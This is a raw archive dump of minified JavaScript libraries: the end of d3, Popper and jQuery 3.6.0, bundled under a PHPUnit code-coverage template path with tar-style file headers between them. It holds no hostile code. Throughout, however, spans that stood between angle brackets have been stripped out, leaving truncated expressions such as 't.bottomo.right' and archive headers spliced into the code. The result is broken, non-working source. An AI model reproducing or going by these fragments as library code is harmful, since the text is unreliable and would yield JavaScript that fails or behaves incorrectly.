e(n){n.selectAll(".resize").attr("transform",function(n){return"translate("+s[+/e$/.test(n)]+","+h[+/^s/.test(n)]+")"})}function r(n){n.select(".extent").attr("x",s[0]),n.selectAll(".extent,.n>rect,.s>rect").attr("width",s[1]-s[0])}function i(n){n.select(".extent").attr("y",h[0]),n.selectAll(".extent,.e>rect,.w>rect").attr("height",h[1]-h[0])}function u(){function u(){32==ao.event.keyCode&&(C||(M=null,L[0]-=s[1],L[1]-=h[1],C=2),S())}function v(){32==ao.event.keyCode&&2==C&&(L[0]+=s[1],L[1]+=h[1],C=0,S())}function d(){var n=ao.mouse(b),t=!1;x&&(n[0]+=x[0],n[1]+=x[1]),C||(ao.event.altKey?(M||(M=[(s[0]+s[1])/2,(h[0]+h[1])/2]),L[0]=s[+(n[0]f?(i=r,r=f):i=f),v[0]!=r||v[1]!=i?(e?a=null:o=null,v[0]=r,v[1]=i,!0):void 0}function m(){d(),k.style("pointer-events","all").selectAll(".resize").style("display",n.empty()?"none":null),ao.select("body").style("cursor",null),q.on("mousemove.brush",null).on("mouseup.brush",null).on("touchmove.brush",null).on("touchend.brush",null).on("keydown.brush",null).on("keyup.brush",null),z(),w({type:"brushend"})}var M,x,b=this,_=ao.select(ao.event.target),w=l.of(b,arguments),k=ao.select(b),N=_.datum(),E=!/^(n|s)$/.test(N)&&c,A=!/^(e|w)$/.test(N)&&f,C=_.classed("extent"),z=W(b),L=ao.mouse(b),q=ao.select(t(b)).on("keydown.brush",u).on("keyup.brush",v);if(ao.event.changedTouches?q.on("touchmove.brush",d).on("touchend.brush",m):q.on("mousemove.brush",d).on("mouseup.brush",m),k.interrupt().selectAll("*").interrupt(),C)L[0]=s[0]-L[0],L[1]=h[0]-L[1];else if(N){var T=+/w$/.test(N),R=+/^n/.test(N);x=[s[1-T]-L[0],h[1-R]-L[1]],L[0]=s[T],L[1]=h[R]}else ao.event.altKey&&(M=L.slice());k.style("pointer-events","none").selectAll(".resize").style("display",null),ao.select("body").style("cursor",_.style("cursor")),w({type:"brushstart"}),d()}var o,a,l=N(n,"brushstart","brush","brushend"),c=null,f=null,s=[0,0],h=[0,0],p=!0,g=!0,v=Bl[0];return n.event=function(n){n.each(function(){var n=l.of(this,arguments),t={x:s,y:h,i:o,j:a},e=this.__chart__||t;this.__chart__=t,Hl?ao.select(this).transition().each("start.brush",function(){o=e.i,a=e.j,s=e.x,h=e.y,n({type:"brushstart"})}).tween("brush:brush",function(){var e=xr(s,t.x),r=xr(h,t.y);return o=a=null,function(i){s=t.x=e(i),h=t.y=r(i),n({type:"brush",mode:"resize"})}}).each("end.brush",function(){o=t.i,a=t.j,n({type:"brush",mode:"resize"}),n({type:"brushend"})}):(n({type:"brushstart"}),n({type:"brush",mode:"resize"}),n({type:"brushend"}))})},n.x=function(t){return arguments.length?(c=t,v=Bl[!c<<1|!f],n):c},n.y=function(t){return arguments.length?(f=t,v=Bl[!c<<1|!f],n):f},n.clamp=function(t){return arguments.length?(c&&f?(p=!!t[0],g=!!t[1]):c?p=!!t:f&&(g=!!t),n):c&&f?[p,g]:c?p:f?g:null},n.extent=function(t){var e,r,i,u,l;return arguments.length?(c&&(e=t[0],r=t[1],f&&(e=e[0],r=r[0]),o=[e,r],c.invert&&(e=c(e),r=c(r)),e>r&&(l=e,e=r,r=l),e==s[0]&&r==s[1]||(s=[e,r])),f&&(i=t[0],u=t[1],c&&(i=i[1],u=u[1]),a=[i,u],f.invert&&(i=f(i),u=f(u)),i>u&&(l=i,i=u,u=l),i==h[0]&&u==h[1]||(h=[i,u])),n):(c&&(o?(e=o[0],r=o[1]):(e=s[0],r=s[1],c.invert&&(e=c.invert(e),r=c.invert(r)),e>r&&(l=e,e=r,r=l))),f&&(a?(i=a[0],u=a[1]):(i=h[0],u=h[1],f.invert&&(i=f.invert(i),u=f.invert(u)),i>u&&(l=i,i=u,u=l))),c&&f?[[e,i],[r,u]]:c?[e,r]:f&&[i,u])},n.clear=function(){return n.empty()||(s=[0,0],h=[0,0],o=a=null),n},n.empty=function(){return!!c&&s[0]==s[1]||!!f&&h[0]==h[1]},ao.rebind(n,l,"on")};var $l={n:"ns-resize",e:"ew-resize",s:"ns-resize",w:"ew-resize",nw:"nwse-resize",ne:"nesw-resize",se:"nwse-resize",sw:"nesw-resize"},Bl=[["n","e","s","w","nw","ne","se","sw"],["e","w"],["n","s"],[]],Wl=ga.format=xa.timeFormat,Jl=Wl.utc,Gl=Jl("%Y-%m-%dT%H:%M:%S.%LZ");Wl.iso=Date.prototype.toISOString&&+new Date("2000-01-01T00:00:00.000Z")?eo:Gl,eo.parse=function(n){var t=new Date(n);return isNaN(t)?null:t},eo.toString=Gl.toString,ga.second=On(function(n){return new va(1e3*Math.floor(n/1e3))},function(n,t){n.setTime(n.getTime()+1e3*Math.floor(t))},function(n){return n.getSeconds()}),ga.seconds=ga.second.range,ga.seconds.utc=ga.second.utc.range,ga.minute=On(function(n){return new va(6e4*Math.floor(n/6e4))},function(n,t){n.setTime(n.getTime()+6e4*Math.floor(t))},function(n){return n.getMinutes()}),ga.minutes=ga.minute.range,ga.minutes.utc=ga.minute.utc.range,ga.hour=On(function(n){var t=n.getTimezoneOffset()/60;return new va(36e5*(Math.floor(n/36e5-t)+t))},function(n,t){n.setTime(n.getTime()+36e5*Math.floor(t))},function(n){return n.getHours()}),ga.hours=ga.hour.range,ga.hours.utc=ga.hour.utc.range,ga.month=On(function(n){return n=ga.day(n),n.setDate(1),n},function(n,t){n.setMonth(n.getMonth()+t)},function(n){return n.getMonth()}),ga.months=ga.month.range,ga.months.utc=ga.month.utc.range;var Kl=[1e3,5e3,15e3,3e4,6e4,3e5,9e5,18e5,36e5,108e5,216e5,432e5,864e5,1728e5,6048e5,2592e6,7776e6,31536e6],Ql=[[ga.second,1],[ga.second,5],[ga.second,15],[ga.second,30],[ga.minute,1],[ga.minute,5],[ga.minute,15],[ga.minute,30],[ga.hour,1],[ga.hour,3],[ga.hour,6],[ga.hour,12],[ga.day,1],[ga.day,2],[ga.week,1],[ga.month,1],[ga.month,3],[ga.year,1]],nc=Wl.multi([[".%L",function(n){return n.getMilliseconds()}],[":%S",function(n){return n.getSeconds()}],["%I:%M",function(n){return n.getMinutes()}],["%I %p",function(n){return n.getHours()}],["%a %d",function(n){return n.getDay()&&1!=n.getDate()}],["%b %d",function(n){return 1!=n.getDate()}],["%B",function(n){return n.getMonth()}],["%Y",zt]]),tc={range:function(n,t,e){return ao.range(Math.ceil(n/e)*e,+t,e).map(io)},floor:m,ceil:m};Ql.year=ga.year,ga.scale=function(){return ro(ao.scale.linear(),Ql,nc)};var ec=Ql.map(function(n){return[n[0].utc,n[1]]}),rc=Jl.multi([[".%L",function(n){return n.getUTCMilliseconds()}],[":%S",function(n){return n.getUTCSeconds()}],["%I:%M",function(n){return n.getUTCMinutes()}],["%I %p",function(n){return n.getUTCHours()}],["%a %d",function(n){return n.getUTCDay()&&1!=n.getUTCDate()}],["%b %d",function(n){return 1!=n.getUTCDate()}],["%B",function(n){return n.getUTCMonth()}],["%Y",zt]]);ec.year=ga.year.utc,ga.scale.utc=function(){return ro(ao.scale.linear(),ec,rc)},ao.text=An(function(n){return n.responseText}),ao.json=function(n,t){return Cn(n,"application/json",uo,t)},ao.html=function(n,t){return Cn(n,"text/html",oo,t)},ao.xml=An(function(n){return n.responseXML}),"function"==typeof define&&define.amd?(this.d3=ao,define(ao)):"object"==typeof module&&module.exports?module.exports=ao:this.d3=ao}();res/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/popper.min.js000064400000051363147577714370027470 0ustar00;;;/* Copyright (C) Federico Zivolo 2020 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=e.ownerDocument.defaultView,n=o.getComputedStyle(e,null);return t?n[t]:n}function o(e){return'HTML'===e.nodeName?e:e.parentNode||e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto|scroll|overlay)/.test(r+s+p)?e:n(o(e))}function i(e){return e&&e.referenceNode?e.referenceNode:e}function r(e){return 11===e?re:10===e?pe:re||pe}function p(e){if(!e)return document.documentElement;for(var o=r(10)?document.body:null,n=e.offsetParent||null;n===o&&e.nextElementSibling;)n=(e=e.nextElementSibling).offsetParent;var i=n&&n.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TH','TD','TABLE'].indexOf(n.nodeName)&&'static'===t(n,'position')?p(n):n:e?e.ownerDocument.documentElement:document.documentElement}function s(e){var t=e.nodeName;return'BODY'!==t&&('HTML'===t||p(e.firstElementChild)===e)}function d(e){return null===e.parentNode?e:d(e.parentNode)}function a(e,t){if(!e||!e.nodeType||!t||!t.nodeType)return document.documentElement;var o=e.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_FOLLOWING,n=o?e:t,i=o?t:e,r=document.createRange();r.setStart(n,0),r.setEnd(i,0);var l=r.commonAncestorContainer;if(e!==l&&t!==l||n.contains(i))return s(l)?l:p(l);var f=d(e);return f.host?a(f.host,t):a(e,d(t).host)}function l(e){var t=1=o.clientWidth&&n>=o.clientHeight}),l=0a[e]&&!t.escapeWithReference&&(n=Q(f[o],a[e]-('right'===e?f.width:f.height))),ae({},o,n)}};return l.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';f=le({},f,m[t](e))}),e.offsets.popper=f,e},priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,o=t.popper,n=t.reference,i=e.placement.split('-')[0],r=Z,p=-1!==['top','bottom'].indexOf(i),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]r(n[s])&&(e.offsets.popper[d]=r(n[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,o){var n;if(!K(e.instance.modifiers,'arrow','keepTogether'))return e;var i=o.element;if('string'==typeof i){if(i=e.instance.popper.querySelector(i),!i)return e;}else if(!e.instance.popper.contains(i))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var r=e.placement.split('-')[0],p=e.offsets,s=p.popper,d=p.reference,a=-1!==['left','right'].indexOf(r),l=a?'height':'width',f=a?'Top':'Left',m=f.toLowerCase(),h=a?'left':'top',c=a?'bottom':'right',u=S(i)[l];d[c]-us[c]&&(e.offsets.popper[m]+=d[m]+u-s[c]),e.offsets.popper=g(e.offsets.popper);var b=d[m]+d[l]/2-u/2,w=t(e.instance.popper),y=parseFloat(w['margin'+f]),E=parseFloat(w['border'+f+'Width']),v=b-e.offsets.popper[m]-y-E;return v=ee(Q(s[l]-u,v),0),e.arrowElement=i,e.offsets.arrow=(n={},ae(n,m,$(v)),ae(n,h,''),n),e},element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:function(e,t){if(W(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=v(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement,e.positionFixed),n=e.placement.split('-')[0],i=T(n),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case ce.FLIP:p=[n,i];break;case ce.CLOCKWISE:p=G(n);break;case ce.COUNTERCLOCKWISE:p=G(n,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(n!==s||p.length===d+1)return e;n=e.placement.split('-')[0],i=T(n);var a=e.offsets.popper,l=e.offsets.reference,f=Z,m='left'===n&&f(a.right)>f(l.left)||'right'===n&&f(a.left)f(l.top)||'bottom'===n&&f(a.top)f(o.right),g=f(a.top)f(o.bottom),b='left'===n&&h||'right'===n&&c||'top'===n&&g||'bottom'===n&&u,w=-1!==['top','bottom'].indexOf(n),y=!!t.flipVariations&&(w&&'start'===r&&h||w&&'end'===r&&c||!w&&'start'===r&&g||!w&&'end'===r&&u),E=!!t.flipVariationsByContent&&(w&&'start'===r&&c||w&&'end'===r&&h||!w&&'start'===r&&u||!w&&'end'===r&&g),v=y||E;(m||b||v)&&(e.flipped=!0,(m||b)&&(n=p[d+1]),v&&(r=z(r)),e.placement=n+(r?'-'+r:''),e.offsets.popper=le({},e.offsets.popper,C(e.instance.popper,e.offsets.reference,e.placement)),e=P(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'viewport',flipVariations:!1,flipVariationsByContent:!1},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,o=t.split('-')[0],n=e.offsets,i=n.popper,r=n.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return i[p?'left':'top']=r[o]-(s?i[p?'width':'height']:0),e.placement=T(t),e.offsets.popper=g(i),e}},hide:{order:800,enabled:!0,fn:function(e){if(!K(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=D(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottomo.right||t.top>o.bottom||t.rightwindow.devicePixelRatio||!fe),c='bottom'===o?'top':'bottom',g='right'===n?'left':'right',b=B('transform');if(d='bottom'==c?'HTML'===l.nodeName?-l.clientHeight+h.bottom:-f.height+h.bottom:h.top,s='right'==g?'HTML'===l.nodeName?-l.clientWidth+h.right:-f.width+h.right:h.left,a&&b)m[b]='translate3d('+s+'px, '+d+'px, 0)',m[c]=0,m[g]=0,m.willChange='transform';else{var w='bottom'==c?-1:1,y='right'==g?-1:1;m[c]=d*w,m[g]=s*y,m.willChange=c+', '+g}var E={"x-placement":e.placement};return e.attributes=le({},E,e.attributes),e.styles=le({},m,e.styles),e.arrowStyles=le({},e.offsets.arrow,e.arrowStyles),e},gpuAcceleration:!0,x:'bottom',y:'right'},applyStyle:{order:900,enabled:!0,fn:function(e){return V(e.instance.popper,e.styles),j(e.instance.popper,e.attributes),e.arrowElement&&Object.keys(e.arrowStyles).length&&V(e.arrowElement,e.arrowStyles),e},onLoad:function(e,t,o,n,i){var r=L(i,t,e,o.positionFixed),p=O(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding);return t.setAttribute('x-placement',p),V(t,{position:o.positionFixed?'fixed':'absolute'}),o},gpuAcceleration:void 0}}},ge}); //# sourceMappingURL=popper.min.js.mapres/readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/jquery.min.js000064400000256640147577714370027507 0ustar00;;;/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */ !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="",y.option=!!ce.lastChild;var ge={thead:[1,"","
              "],col:[2,"","
              "],tr:[2,"","
              "],td:[3,"","
              "],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n",""]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load 